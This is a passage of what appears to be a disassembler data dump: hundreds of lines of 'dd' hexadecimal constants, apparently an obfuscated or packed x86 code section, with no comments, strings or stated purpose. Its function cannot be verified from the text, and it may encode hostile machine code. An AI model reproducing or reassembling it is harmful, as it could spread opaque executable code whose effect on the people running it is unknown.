		dd 0E9000000h, 0Fh, 0AF522E0h, 4F6FD6C1h, 0B2053E3Dh, 81BBF630h
		dd 37BBD9C3h, 0F78B6152h, 0B70F5360h, 0BE665FC9h, 0B561BA43h
		dd 6511BF68h, 0D08B04C0h, 0EEC28166h, 11E984h, 0D93B0000h
		dd 0B2D3491Fh, 19A4EEDEh, 89E6C86Fh, 661D73FDh,	0F986A8BFh
		dd 0D9802EB4h, 0DF8B6677h, 2840F60h, 57000000h,	0D881665Ah
		dd 0F615AF6h, 18Dh, 8B66F500h, 850F60D0h, 11h, 0CE9h, 37349F00h
		dd 2A2AC893h, 0FB88CB74h, 5E803h, 84590000h, 0E9D5DDBEh
		dd 0Fh,	2C25843Eh, 3AF23F28h, 0ABD8E416h, 58F897D0h, 7BB96661h
		dd 0A8F0F36h, 0F000000h, 480h, 0CEBE6600h, 810F60B5h, 5
		dd 0C4C78166h, 0B6D5B9E5h, 8B615DE1h, 0FFB8BDFh, 1783h
		dd 11E800h, 92C50000h, 0FB87833Dh, 91865DE0h, 90ED8568h
		dd 584CDA7Eh, 7E94EB6h,	0FC000000h, 2026B4BFh, 0BF0F32E4h
		dd 0F45B0FEh, 8Dh, 0B9E78000h, 60C8BF0Fh, 19B86660h, 4AB06166h
		dd 0D2816661h, 11E9C993h, 49000000h, 0ADBED4F2h, 0FAC19E3h
		dd 0DD4CD498h, 49DB912Bh, 3890Fh, 8B660000h, 0EE9C1h, 0F9730000h
		dd 9C808EBh, 5FBEF60Dh,	604AB7Ch, 10E9h, 0FBF09A00h, 0A81F72EBh
		dd 9325558Ah, 83B7CDB6h, 0BE841h, 22810000h, 0A329DCCh
		dd 7A4B55B8h, 10E92Ch, 8320000h, 71B69F89h, 311A5BABh
		dd 547F0BFFh, 0FC58141Bh, 58E0Fh, 0F0B80000h, 8B3A8FB9h
		dd 66A9B0FEh, 0CB8ACF8Bh, 3890Fh, 8B660000h, 8850FC2h
		dd 56000000h, 8C0Fh, 665E0000h,	63EFDE81h, 4870F60h, 66000000h
		dd 0E943FCB8h, 0Fh, 0A4720E4Fh,	846C79EDh, 0DE3B9B23h
		dd 619EA435h, 806091B2h, 0E85302D9h, 0Ch, 2748DF0Ch, 0DD88ED4Dh
		dd 0DE61E9CFh, 8B615B59h, 0AE860F9h, 58000000h,	0CD2A3DA3h
		dd 8329CB63h, 24B86653h, 5353594Dh, 0E9615E59h,	0Bh, 7B7841E7h
		dd 7F6036EDh, 0FE87093h, 58Ah, 0DA816600h, 8166C406h, 66C974E1h
		dd 0DC27C781h, 0C8C1DF81h, 5E90CCAh, 6000000h, 0DFBD2C88h
		dd 0BDE08166h, 28C0F58h, 0B0000000h, 8166603Fh,	66167AE0h
		dd 613A3EBFh, 0FD1B70Fh, 0BF0FDABFh, 7820FF8h, 50000000h
		dd 24E98166h, 0F0815923h, 73FAB5C3h, 0C68B66FCh, 3830Fh
		dd 8B660000h, 15BF66FEh, 665E5643h, 0BB79A0BEh,	2DCB36A4h
		dd 5850Fh, 81660000h, 80CC77EBh, 0B966D0D3h, 14E9490Eh
		dd 0A4000000h, 61DDF248h, 767AB50Ah, 27DD303Fh,	1157AEC8h
		dd 0F4592BDh, 88h, 3CE28000h, 0C9BEC18Bh, 0BB64E934h, 0FAFC5C3h
		dd 1FD98166h, 0C5E38117h, 0E963C5ABh, 0Ch, 0DABE4B49h
		dd 5E86400Ch, 5400A244h, 0CF816653h, 0F59C634h,	0B966CAB7h
		dd 8B66CB3Eh, 0C78B66CAh, 0F60F38Bh, 28Bh, 8A5B5600h, 0E85661DEh
		dd 0Bh,	0ECA5A2F3h, 4FE57FE2h, 66646B53h, 5E5EC68Bh, 0CA8BC18Bh
		dd 8A35DE80h, 0BF0F60E5h, 61F78BF2h, 2BC18166h,	97BF660Dh
		dd 8E99Dh, 0E4B80000h, 12FE3A0Ah, 0E9605D19h, 0Dh, 0CFBF7D27h
		dd 0FD03923Bh, 92950135h, 61EBB22Dh, 64B4D68Bh,	5F31D181h
		dd 880F2602h, 5, 5F78166h, 0F1BF0F13h, 0CE8h, 32A81700h
		dd 0F1A05727h, 0DBBCC7DFh, 5FDE8BCAh, 81C78B66h, 34E808F1h
		dd 860F532Eh, 0Ah, 5E9h, 9FF20200h, 0FC5E4E79h,	68A0Fh
		dd 0F0810000h, 74085CC0h, 0D2816660h, 816142B9h, 6FCA91E6h
		dd 0D3B70F63h, 830Fh, 0F3B10000h, 0F93EC9B8h, 0CB8B660Ah
		dd 3850Fh, 0F5520000h, 0E381665Eh, 800F9D3Bh, 2, 8166D18Bh
		dd 0F829EFD1h, 819CF680h, 0AB5EFCDFh, 0DE85Dh, 29AF0000h
		dd 0DCC28FDFh, 0F281C1Bh, 8B830D44h, 0E1815FCAh, 5390E3EDh
		dd 7666CB81h, 800F15F5h, 3, 0FF3BF0Fh, 0E87h, 9E900h, 0A9D0000h
		dd 196CFCF9h, 80D49AE7h, 12E931DDh, 3D000000h, 7EDF5284h
		dd 0E5D8CE2Fh, 0C31278F2h, 737A608Bh, 8E990h, 31300000h
		dd 9168AD35h, 9E90A7Ah,	8D000000h, 8DAC97F4h, 782ED02Ch
		dd 6E9h, 0B1885100h, 0E99B8F2Eh, 11h, 29A2D51h,	0E8CCBF04h
		dd 0AF1B6D09h, 43A90852h, 8ACB8BFBh, 81F18BFEh,	0EDC33CCAh
		dd 0D98B6659h, 88D081F8h, 815F1FC2h, 4FC410D0h,	25890F63h
		dd 60000000h, 0BE9h, 0EFC6AB00h, 0AE296CECh, 496487E6h
		dd 0EE9h, 0D1555E00h, 0B79A30E6h, 74153276h, 61A3D8ACh
		dd 0FE8h, 5E85FB00h, 8F830589h,	0BB720FA6h
		dd 70562944h, 0E7816660h, 870F610Ah, 0
		dd 0C7BB5A61h, 0F96E219Bh, 38D0Fh, 8B660000h, 81F98BC3h
		dd 233A4ADFh, 8166F53Bh, 663691E6h, 8923D381h, 2880Fh
		dd 5F530000h, 8B665B52h, 8E9D3h, 0F01C0000h, 0D5E8A88Dh
		dd 0EA813ECCh, 65B94040h, 0E953FB8Bh, 13h, 745FC61Bh, 22EA62EEh
		dd 82DA6C67h, 6DD22492h, 5A0EE036h, 81F9B70Fh, 2AD5F6E1h
		dd 0CE8B6600h, 0C7F38166h, 14E96Fh, 375F0000h, 0BEA9EDD4h
		dd 6343D128h, 0CE38AF21h, 71739193h, 880F93DEh,	8, 2840Fh
		dd 59520000h, 665EF781h, 10E95CD1h, 31000000h, 125C9D5Eh
		dd 0ED373EDFh, 6C9C7E7Ah, 60D9E5B9h, 60DF8B66h,	0D3FCE881h
		dd 5B514B72h, 0FF56161h, 386h, 1FE68000h, 80D18B66h, 0D281E0E7h
		dd 7364781Eh, 10E8h, 0CAB88900h, 68DEE47Ch, 0E8A395E8h
		dd 31C80006h, 0A479B83Dh, 815B46EFh, 48EB73D2h,	0BF0F5143h
		dd 0DE95EDEh, 0B2000000h, 0CD488595h, 0CAA0AA89h, 719F7AF4h
		dd 0A5B820B2h, 52110E74h, 0A810Fh, 5E90000h, 8000000h
		dd 53E9C147h, 66DA8B59h, 0F28BC88Bh, 4EC0C881h,	8B662271h
		dd 12E9CFh, 625C0000h, 94344EC0h, 0AA706551h, 6461EF31h
		dd 630233B3h, 72ABE66h,	8ADBBF0Fh, 0F8BF0FE8h, 0AAE0CB81h
		dd 8A0F3E83h, 5, 0F5CE8166h, 7E85760h, 15000000h, 2D348DC4h
		dd 5E9D7FFh, 85000000h,	1C4BB705h, 0C18B5A5Ah, 97E0F381h
		dd 830F0ABCh, 16h, 11E9h, 2C8AD900h, 1CFBE3C7h,	1BF9C308h
		dd 0DCBB2A5Bh, 0BF667482h, 0FF9FC44h, 886h, 2800F00h, 8B000000h
		dd 0C98166FBh, 0E860402Dh, 5, 9A1E7D94h, 0B70F5955h, 0D98B61D9h
		dd 515850FCh, 5A2EE580h, 0BEDFB966h, 0F08BF960h, 0C3816061h
		dd 62B6A4EBh, 59CB8A53h, 0D18A6061h, 61C7B70Fh,	8B66F5F9h
		dd 0AE960C3h, 82000000h, 43D6D03h, 71E824A0h, 3E52BFA5h
		dd 0F610C49h, 0DF81D2BFh, 2A53F119h, 7E9h, 0C8EF2200h
		dd 51B75B66h, 0F6B70F60h, 0BE9h, 0EFC83E00h, 0B80016BEh
		dd 43FCF60Bh, 38E0F61h,	0F000000h, 8166C3B7h, 0F71DCCAh
		dd 880FCEBFh, 2, 10E8F78Bh, 25000000h, 0F2E2D1D9h, 56FDEABFh
		dd 0A836A5ECh, 811B69EBh, 83B3F2D0h, 52FC585Bh,	0E3AEBE66h
		dd 0FE95Fh, 0AE4F0000h,	0A2AF6B2Ch, 0D1A6C9C9h,	0B51A5711h
		dd 68A0F0Ah, 81000000h,	0B0A317E0h, 0C78BFC3Fh,	23633ABEh
		dd 0D8BA6642h, 81EE8A48h, 1B0520D7h, 5E977h, 0B2E30000h
		dd 0F8205CEh, 589h, 3374BE00h, 0FE81D3Dh, 35000000h, 0F8FD2CC8h
		dd 97572F9h, 0C671EB10h, 5AFC84C5h, 60DE8B66h, 59F956F8h
		dd 0DDB7F561h, 5DF480F8h, 7C4FC381h, 11E86DBBh,	0EE000000h
		dd 81DCD02Ah, 6AA4C188h, 0C5061785h, 0F167BDC4h, 8E9h
		dd 80152600h, 82D2E350h, 8B665BDAh, 66F4B4CEh, 80FBD7BAh
		dd 0F4BE0BD9h, 0B76F0861h, 0BA6657A6h, 605BD418h, 800F50h
		dd 5B000000h, 8B61EBB0h, 10E957CBh, 91000000h, 1C1A4C3Bh
		dd 78534EF9h, 2357A08Dh, 5E198F7Ch, 0BF5744B4h,	478BBAFh
		dd 9E95Eh, 9E530000h, 1FA8FA26h, 66E1194Eh, 28B1FB8Bh
		dd 10E960h, 5DFD0000h, 66079641h, 0D963FBA8h, 9F2DD4F7h
		dd 0E68A328Ah, 0D50CBE61h, 0B45166DAh, 56535E1Eh, 5FA3CA80h
		dd 0DE81665Ah, 8B66744Ch, 0FD48AC6h, 0BE9F1BFh,	0CC000000h
		dd 964CF741h, 155C6E64h, 8166857Eh, 0E86714EAh,	7, 4F5E135Bh
		dd 0E9FA82B2h, 9, 28CF16A7h, 50689648h,	0B70F585Bh, 0CA8B66DEh
		dd 4BB6650h, 0BF0F5854h, 0F1BF0FD0h, 0E942F280h, 14h, 0CCA67A85h
		dd 69C78221h, 8BE0191Fh, 42B6BE8Fh, 8292E8EFh, 13E9h, 4216E000h
		dd 2EA1DE0Fh, 0BCC56EFFh, 0E8803D51h, 68D90A7Dh, 0E6816660h
		dd 8F0F74C6h, 3, 61D6BF0Fh, 81D68166h, 0D36ABE4Dh, 850F4BFFh
		dd 0
a8s		db '³8è',0Bh,0
		db 2 dup(0), 6Ch
		dd 72B8617Bh, 85CDEC3Eh, 11E88A70h, 0A000000h, 0B1526E62h
		dd 3075A310h, 0A532E673h, 3D0918FCh, 5E596160h,	6E8h, 59E36D00h
		dd 660ED305h, 58E620BFh, 81D18B66h, 2D8769C3h, 3C08115h
		dd 8B4BCBE4h, 0FB8B66C1h, 14E9h, 2D914500h, 6C799DAh, 0E64D16F5h
		dd 0BACC11A4h, 0AAF24F9Eh, 6054B0BBh, 41D88166h, 61FAB633h
		dd 0E95BF552h, 7, 6EA5D4CFh, 0E9963193h, 0Ch, 5029A651h
		dd 20C3E1D2h, 96112EDBh, 890FFA8Bh, 0
		dd 12E9h, 0DA899D00h, 3ECB47Dh,	586F69B7h, 0A92DA69Dh
		dd 608C87FEh, 0E429B866h, 61D2BF0Fh, 0DC63B866h, 0FBB70FF8h
		dd 0E79DE6B9h, 0F081661Eh, 0DF8B7A2Ah, 8B66C68Bh, 4820FC1h
		dd 66000000h, 6646E8BAh, 0E280F28Bh, 0F38B6668h, 0B890Fh
		dd 8C0F0000h, 5, 95D18166h, 12E965h, 76E20000h,	7ABF02B7h
		dd 1C384D28h, 99996497h, 0A1667E84h, 12E9h, 7159A700h
		dd 0EAE7A9C4h, 3E20835h, 822B580Dh, 66F68B79h, 14E9DE8Bh
		dd 0E8000000h, 721A8292h, 4E6179D8h, 0B771EACBh, 0EDDA9997h
		dd 0F69D55Fh, 0CF8BD9B7h, 8E0F5B52h, 2,	13E9D08Bh, 21000000h
		dd 0F949857Ch, 5C836471h, 0DDDA6918h, 0CBF7D619h, 7E9FC2Dh
		dd 0C4000000h, 0AF493370h, 0E28A0090h, 282C59B9h, 0CE92Dh
		dd 0CC4B0000h, 5FCE0D4h, 3DCCA98h, 0FF89E27h, 580h, 4AD7B800h
		dd 66F912D2h, 550AD681h, 73A8F381h, 0CA8B7136h,	0E850DA8Bh
		dd 0Ch,	3EB178E7h, 94267091h, 8D6925EBh, 870Fh,	595A0000h
		dd 0F71C480h, 685h, 0BE665200h,	815F092Eh, 3FA544D9h, 0C881665Ah
		dd 5ABFAFFCh, 601E81FCh, 6661D78Ah, 66D239BEh, 0E9C4B6BAh
		dd 6, 34269065h, 0B70F9A0Ch, 88C380D9h,	1474E881h, 0B8664F72h
		dd 8C0F9E43h, 5, 0FDDA8166h, 0DECB8190h, 0BF6E1269h, 625D54AEh
		dd 95C98166h, 77BBB45h,	84B23047h, 0FCF9D38Bh, 4A34E881h
		dd 0C88B4199h, 25FB966h, 0F5606B0h, 681h, 8E0F00h, 5F000000h
		dd 48ADB866h, 0C880Fh, 8B0F0000h, 6, 8F0Fh, 0BF0F0000h
		dd 0EE9DAh, 44130000h, 3D63BF41h, 0C6E5A46Ah, 387B05F1h
		dd 7E9h, 0F8B42900h, 0D3B952A6h, 0F18B6660h, 61D88B66h
		dd 14870Fh, 8B0F0000h, 0Eh, 9E9h, 0FCF83A00h, 0A598767Dh
		dd 8166452Ah, 81055AC7h, 0F36BF7C3h, 3880F58h, 0F000000h
		dd 0C380C9BFh, 464CBFDAh, 870F22C2h, 15h, 10E9h, 0DDC30C00h
		dd 11EE3548h, 5BD03FD6h, 0A6730C9h, 0D08153DBh,	48FAED9Eh
		dd 0E9BE6658h, 3880F58h, 66000000h, 8A60FA8Bh, 3BBA66C5h
		dd 0AE9615Bh, 88000000h, 2A361775h, 2F8A088h, 0D38B66AAh
		dd 8810Fh, 0F600000h, 8Ch, 0F3816100h, 228596EBh, 0D2EE81FCh
		dd 534D88DCh, 0EE8h, 57F52100h,	6D97EB5Eh, 0FEF0D7E9h
		dd 8B716508h, 605A5AF7h, 2800Fh, 68B20000h, 0CCE68166h
		dd 0D9806142h, 63EBB5Dh, 0C8801B64h, 0B890F9Dh,	0F000000h
		dd 58Eh, 6D13BF00h, 0CE97D5Ch, 7C000000h, 83090653h, 0F699CB73h
		dd 8A7ECAA2h, 7E9C6h, 95A90000h, 0A6809BEAh, 5F67BB6Ah
		dd 80524657h, 8B591AEFh, 10E8F3h, 712E0000h, 0C4DFF833h
		dd 5979A00Fh, 0D3F618C3h, 0E96007B1h, 13h, 0D9EA0371h
		dd 0DE43F608h, 4117B68Dh, 6D720188h, 0E9F8E3D6h, 0Fh, 561EE1C7h
		dd 0D78D38Fh, 14AADEFh,	61CE00DCh, 8B666059h, 0D0B860F3h
		dd 6611DDB9h, 32D8F181h, 8F0F6161h, 0
		dd 8E8h, 0AC300800h, 0FC88B654h, 38C0F6Dh, 66000000h, 0F95ECA8Bh
		dd 0BFD38B66h, 45017FDFh, 0CE9F5h, 28E20000h, 7C38AD85h
		dd 0B22849F2h, 8B662ED5h, 26F381FEh, 0E9599301h, 9, 0E3E4EF8Eh
		dd 1E6A4F86h, 5870FE9h,	66000000h, 0B2CDF081h, 0F66967BBh
		dd 86E6803Ch, 5E8F860h,	0C000000h, 2E48D0B6h, 11E9h, 0C4B9AD00h
		dd 11166131h, 219D75EEh, 0B95670E1h, 6159691Fh,	0A1A889B9h
		dd 88E0F56h, 0F000000h,	283h, 0F05B000h, 98Dh, 38D0F00h
		dd 80000000h, 0DE836CCh, 49000000h, 0D028A7D6h,	9D4704CAh
		dd 0FE03E50Bh, 13E9h, 0BCE59A00h, 0DD5EF171h, 0FEB2B3B5h
		dd 0F5209D5Ah, 976E2100h, 0F53605Bh, 85h, 66505B00h, 6159D88Bh
		dd 0E5EDBB66h, 5820F56h, 66000000h, 49C8DB81h, 0EE959h
		dd 7DC50000h, 7BEE7F05h, 8509304Bh, 0B805DC74h,	0F76C580h
		dd 0B84h, 58A0F00h, 66000000h, 98B2F281h, 6660F88Ah, 3BCEF81h
		dd 61C1BF0Fh, 0F0F08166h, 0EE949h, 7A170000h, 0A587DD50h
		dd 6C8F293Fh, 0C53EFD42h, 0CE8FC8Ah, 0FA000000h, 685A7BAFh
		dd 1B4A1F84h, 60B79EF2h, 61C9D380h, 5810F59h, 66000000h
		dd 91E0D981h, 0EE9h, 440BB600h,	0AA37B579h, 0CD73ADCEh
		dd 0F297592h, 182h, 8E9F500h, 5A000000h, 61393360h, 51A3228Eh
		dd 6E8h, 35C36400h, 81089377h, 3883D6DBh, 805A5B10h, 7EBB6ACAh
		dd 0F42CD42h, 8166F3B7h, 663E9CDFh, 0FC5274BFh,	0C1816657h
		dd 565B59BCh, 820F5BF8h, 3, 81E9D680h, 0D032B0CBh, 6BC9810Ch
		dd 8B393E55h, 0F9E281D6h, 0B91AF35Ch, 42E02D90h, 6170B966h
		dd 0AABAD281h, 0FF83ACDh, 188Bh, 10E800h, 5DD50000h, 9DD427E9h
		dd 0C9A2FCAh, 7D21E180h, 5E53D2C9h, 81F08B59h, 6331BDC0h
		dd 0E9CB8B17h, 0Ch, 42DBB4C2h, 0A438C5E2h, 6F49F3B3h, 12E8h
		dd 8A12C900h, 75FF9BD7h, 867D4C74h, 5EE4FCB1h, 0E9347D5Ah
		dd 11h,	5ECB640h, 0A89B5208h, 7BE7F0D6h, 0B21FFC52h, 0E9815EB2h
		dd 68FD6419h, 830F5850h, 3, 0F11E880h, 286h, 56C78B00h
		dd 5BFB8B66h, 0F7DA8166h, 0CF8B66ECh, 0C8B0Fh, 820F0000h
		dd 6, 820Fh, 14E80000h,	0B8000000h, 0E3D1C8A0h,	15DD7E1Dh
		dd 3DC52935h, 4133086Ch, 0F84110Ch, 682h, 56C98100h, 5B5C3C66h
		dd 4E06E281h, 0D3815A41h, 15B393B1h, 660CCF80h,	0DC15CE81h
		dd 8B6603B7h, 0DE81F8D1h, 0A671622h, 0EE8h, 0E1140E00h
		dd 56E474EDh, 8EB7A245h, 0E96AA5D8h, 0Ch, 0BFE451Ah, 0D1406D8Ch
		dd 0A2567BABh, 0C9BF0F58h, 6CE88166h, 0A5B8662Dh, 8EF6809Eh
		dd 11E9F28Bh, 88000000h, 9C7A1B52h, 53331288h, 0BC88F68Fh
		dd 85E2820Ah, 80C88B66h, 0FA8B08E3h, 8381BA66h,	0AC85FAB9h
		dd 12E86Ch, 0AB4F0000h,	0A4AA95E9h, 83C78C25h, 0B3DDE4D1h
		dd 66EE305Ah, 0AFC781h,	0F858451Bh, 0FE8h, 9237AD00h, 9A689087h
		dd 34913AFFh, 0E7A637D1h, 1DE78166h, 8A0F5E6Eh,	5, 8CE647BEh
		dd 0CB806073h, 11E9ABh,	44AB0000h, 0C475CF19h, 59B099EDh
		dd 7F148C04h, 61949A27h, 9E8h, 89441B00h, 0B525BFF3h, 0F593D0Bh
		dd 1787h, 12E900h, 0CCCD0000h, 7FBE9616h, 1497DA1h, 21359D21h
		dd 1E105689h, 0D29EBF51h, 8B5B24AFh, 7FF180D0h,	0A1E28166h
		dd 0C28166A6h, 0B966F950h, 0BB564DEEh, 3A6C63Ch, 0E627BE5Fh
		dd 816678C6h, 80B42EC6h, 5E9A1E3h, 9C000000h, 4BD0CFCEh
		dd 0B9C78166h, 0F7B70F36h, 81F98B66h, 0F5EDEFC3h, 0AEBBF953h
		dd 0E940ED2Eh, 0Bh, 91216D9Fh, 0C497EF1h, 0B13C3199h, 0F28166D0h
		dd 8166AD41h, 0FD3F5C9h, 583h, 339CB800h, 0EE9228Dh, 1F000000h
		dd 26F0AF29h, 63FF1914h, 2B0FD5FDh, 3880F1Bh, 66000000h
		dd 8B66CE8Bh, 8B89B5F2h, 70E280F3h, 0B70FD88Bh,	11E8D2h
		dd 0E3230000h, 576EE177h, 8328F0D1h, 5B689740h,	0FC7B721h
		dd 665EC2BFh, 6630C9B8h, 0F73E4B9h, 8B66CEB7h, 5D881CFh
		dd 805C292Dh, 0E96097F3h, 0Ch, 19BEA893h, 8C968471h, 0A408678Eh
		dd 0E8A0Fh, 9E90000h, 1B000000h, 0D7517604h, 0C60E9B68h
		dd 68C0F61h, 81000000h,	6A5A16EBh, 810F39h, 57000000h
		dd 59C7DE80h, 10E9h, 174D8100h,	8BC6BF3Eh, 444AAE85h, 2AEA3A5Eh
		dd 0CE9F9B4h, 0D1000000h, 64A20060h, 0D6105EFAh, 0F8A39068h
		dd 3850Fh, 0B70F0000h, 0C1C981D7h, 0FC3B5F0Ah, 0DAEF23BAh
		dd 0A5E1817Ah, 80722495h, 0CE8E8E9h, 0F6000000h, 0D5E2190h
		dd 25F34F05h, 81438CE1h, 8956C5E6h, 0CB815943h,	2A98B38Ch
		dd 6830FF9h, 81000000h,	524550C6h, 17850F50h, 0E9000000h
		dd 12h,	0ABB1AF10h, 0C5923D1Bh,	50D648E8h, 0EF9E5AF9h
		dd 8B6696B4h, 0E38166D6h, 0FF83963h, 8B66F0B7h,	12E8C3h
		dd 50220000h, 0F39C3355h, 689B1260h, 6CCBF8FFh,	7DC36CFEh
		dd 38B0Fh, 0B70F0000h, 0AE958FBh, 0F0000000h, 0F4DCB5FCh
		dd 4914D6E4h, 53E38A4Ah, 5F8ADE80h, 7C9E6ABFh, 0C9816671h
		dd 840F8D2Dh, 0
		dd 57D7B70Fh, 3890Fh, 0BF0F0000h, 0FF95AF0h, 580h, 75AAB800h
		dd 0BE665C7Bh, 8B66E350h, 66C78BD7h, 813323BAh,	9E8FFBD8h
		dd 0CE905h, 5A360000h, 0E97CE5h, 7E228B95h, 870FFF74h
		dd 5, 0C2695EBEh, 38A0F18h, 0F000000h, 66F9D8BFh, 0CBD9D881h
		dd 6ADE8166h, 7880F35h,	0F000000h, 185h, 0E950F800h, 8
		dd 575DE391h, 58B09276h, 8B86659h, 0C081664Bh, 29BB0765h
		dd 6609C17Bh, 60A407BEh, 66DA8B66h, 61C833BEh, 0DE9h, 0A85B4100h
		dd 0D9DC8896h, 0EC2771FAh, 0D6B89C64h, 0F8449FBBh, 0F3F5BA66h
		dd 0FE8h, 491A8300h, 38450480h,	682E4024h, 14AAA518h, 0E95FF1B0h
		dd 9, 1BD96F90h, 0EA44667Bh, 68C0F74h, 81000000h, 7F316CD3h
		dd 58F55370h, 0E943E780h, 13h, 77007BEDh, 0C76E91F4h, 0A677A285h
		dd 6F23F8A7h, 0FCBB432h, 18Ch, 850FFC00h, 10h, 0BE9h, 3A0F900h
		dd 0CAFA384Bh, 518E6E26h, 9500DA81h, 0E6804DFCh, 8B0F24h
		dd 0F000000h, 8166D0B7h, 669F0BCAh, 81BFCEB8h, 0E6ED48F2h
		dd 0E9FCFC70h, 14h, 0F5BE6C8Bh,	4B37DCBEh, 2D64AB9Ch, 8DA54DEFh
		dd 20A8750Bh, 0FE8h, 5D1D5000h,	503D2121h, 0F621B806h
		dd 0ADD3D23Ah, 8D0Fh, 0E85B0000h, 7, 5F9074F9h,	0E8D2635Eh
		dd 8, 914E07EEh, 675CC060h, 8D0Fh, 585E0000h, 14E9h, 3CA2E800h
		dd 3E77CA35h, 9A34841Fh, 0D7DB87A3h, 0B7CED4C2h, 5E84Ah
		dd 496F0000h, 0E97A4203h, 7, 0ED373EDFh, 5A9C7E7Ah, 2406BF66h
		dd 0C4D447B8h, 0C28B6612h, 0EBC880BBh, 12E841h,	289E0000h
		dd 0B2CACEB1h, 76D6E64Fh, 6F8DC103h, 0C9C20AFCh, 2B67F281h
		dd 8A5E2A18h, 462DB8F0h, 830F0892h, 9, 0DA816660h, 67B559B9h
		dd 0A3CF8061h, 0E8C3B70Fh, 0Dh,	4BAB4138h, 6D4BF680h, 0AD5AAE55h
		dd 0C68B66C7h, 3820F5Ah, 0F000000h, 0E781FFB7h,	6687AAD9h
		dd 13E9h, 0C3D68D00h, 0CB777D2Fh, 7DB32EADh, 32AC66D3h
		dd 26CBBA43h, 0AE9h, 0BCB4CD00h, 0B36B80B6h, 8084DEA8h
		dd 6E82DD2h, 40000000h,	0AE3FF4D5h, 0DE99Ch, 0C3120000h
		dd 737A608Bh, 0E2878490h, 5B623F18h, 6AB8CE8Bh,	665A6F0Fh
		dd 0F1A33B8h, 0A82h, 890F6000h,	0
		dd 5761D38Bh, 17BF6659h, 6E9ADh, 0B4E80000h, 0FFC32629h
		dd 3DB9CA8Bh, 8B20EE3Eh, 665FB7F7h, 0E409D381h,	0FE8B6653h
		dd 0FE95Fh, 0FE810000h,	0B2E94E2Fh, 1525EACh, 77271214h
		dd 4FBF6695h, 0D7BF0FB1h, 0CE9h, 46196D00h, 0BACD8B0Eh
		dd 0B1752AB5h, 0D9B70FB1h, 6E960h, 6BF40000h, 0E0DC61B7h
		dd 6189E480h, 8B6660F8h, 16840FDEh, 0E9000000h,	11h, 2864884Eh
		dd 0E6C55807h, 6F71B2ACh, 92F366F0h, 8166616Bh,	0E9099DE7h
		dd 0Ch,	5F7CD353h, 824E26AAh, 141AD47Eh, 18D0Fh, 8BF80000h
		dd 0D3BF0FDAh, 58C0Fh, 0D5BE0000h, 0F42A2ACh, 0D86h, 8E900h
		dd 96AD0000h, 182578BBh, 8A0FF3B8h, 5, 0D38B6653h, 0E6816659h
		dd 0BB66AFCEh, 14E9F547h, 32000000h, 0E13AEF04h, 0FB20231Bh
		dd 29052FBBh, 0B1EE9535h, 0FC56554h, 870FCBB7h,	3, 80D3B70Fh
		dd 0D68B42DDh, 4860Fh, 0BF660000h, 0E8605AC6h, 11h, 4E26AA5Fh
		dd 1AD47E82h, 88A9D14h,	0D935C571h, 5E901h, 79F0000h, 5945A729h
		dd 5E9h, 0DCE63500h, 8061CA5Fh,	8C0F35CCh, 3, 0FFE8B66h
		dd 383h, 32F28000h, 0E9F6B70Fh,	7, 20C6128Dh, 8089FC44h
		dd 76BEA4F5h, 603E2C8Fh, 48A0Fh, 0B8660000h, 8E91B02h
		dd 25000000h, 9EB3C1B1h, 61D49C86h, 51F18B60h, 870Fh, 615E0000h
		dd 0BE960h, 3E970000h, 20BF883Fh, 569F6947h, 68CD805Eh
		dd 83BE6661h, 0AC2FB92Ah, 0B8660822h, 52605382h, 5AC2B70Fh
		dd 61D78B66h, 7E9h, 0BE3F0400h,	22BD6166h, 0B3A9D280h
		dd 0C38B66D6h, 0AC78166h, 0A0B260D2h, 816061F8h, 657474EFh
		dd 61F56069h, 0D1E98061h, 3CC98166h, 60CF8B22h,	61F55953h
		dd 0FD98AF9h, 0FC60F9BFh, 286FDDBFh, 0E580611Fh, 0DA8B66E6h
		dd 4890Fh, 0BA660000h, 0B8665EF0h, 0BF66746Dh, 0E980F50Dh
		dd 0C9BF0FD3h, 0FD7BF0Fh, 280h,	81DE8A00h, 7CAC7BF6h, 2820F39h
		dd 8B000000h, 7E9CBh, 64D00000h, 480EC5F0h, 667EB30Ch
		dd 60BF65BAh, 0F61DA8Ah, 6EBFD9BFh, 0F7E66B6h, 284h, 0E9F78B00h
		dd 7, 6D4E6BCDh, 81B9C29Ah, 0C8D750F2h,	0C2C3812Ch, 0F63D70Dh
		dd 0B8Fh, 58C0F00h, 66000000h, 26C1F081h, 0CF8B6060h, 61C78B66h
		dd 13E8h, 0AF3E0700h, 0D25539FFh, 703542F4h, 0D0B85F5Ah
		dd 5B5132FAh, 7E9615Ah,	91000000h, 1637410Ch, 0C3807D9Fh
		dd 0B70FFC71h, 11E9F1h,	51ED0000h, 0D60104FCh, 3BBBA7AFh
		dd 0FAF44ABEh, 0F030E4Eh, 389h,	6EE8000h, 11E960h, 57900000h
		dd 0FA16E893h, 316E7338h, 0A00700EBh, 0F934341h, 188Fh
		dd 13E900h, 65230000h, 0D50175FAh, 0E79F403Bh, 97F947B0h
		dd 1DC2565Bh, 37B96147h, 660D74E8h, 0F88BD88Bh,	7E9h, 0ADE21A00h
		dd 3BC0955Fh, 2D4D1CB8h, 0BA66F825h, 8B668FD9h,	0B2D98BD7h
		dd 31E1812Bh, 6007FEC7h, 10E9h,	31A8EC00h, 0BE54741Dh
		dd 8B59B12Dh, 11B58B16h, 0BF0F61F3h, 0E9C28BF7h, 0Ch, 0D3E278E2h
		dd 1289C5FDh, 48FE304Ah, 4656BA66h, 38C0Fh, 0B70F0000h
		dd 0CE8166D6h, 0B70F5968h, 0D1BB66D8h, 8BDF8BDDh, 0FE18AC8h
		dd 8A0FFABFh, 2, 870F5E50h, 5, 0D0C68166h, 0DE81F905h
		dd 19E0A83Dh, 9E9h, 0CD6C1000h,	5FDB0F05h, 850FDCB3h, 2
		dd 0B70FC68Bh, 14E8F9h,	66C80000h, 2651B75Bh, 0C98D437Bh
		dd 0B42146C2h, 8E50F5F0h, 0B866C263h, 805A3BC4h, 6E9BADEh
		dd 94000000h, 5E66A5DCh, 0DA8B6624h, 0BF0FCA8Bh, 0FAB960DAh
		dd 0F00AA0Bh, 6661C6BFh, 14E9D98Bh, 4B000000h, 0CCE76BC4h
		dd 50258030h, 0AC32771Eh, 0E35760DEh, 6649584Bh, 0BA32F281h
		dd 16E78166h, 80F98B31h, 8A0FF6C3h, 11h, 0AE960h, 40310000h
		dd 7AAD5F75h, 0EE69A43Eh, 48BA6661h, 0CABF0F34h, 0EF80C38Bh
		dd 0FE8604Fh, 66000000h, 0E635B0E5h, 69CA5FDCh,	0F9E7CE84h
		dd 0AE8F4F7h, 0E4000000h, 0A88EC7D1h, 1492D253h, 615E5855h
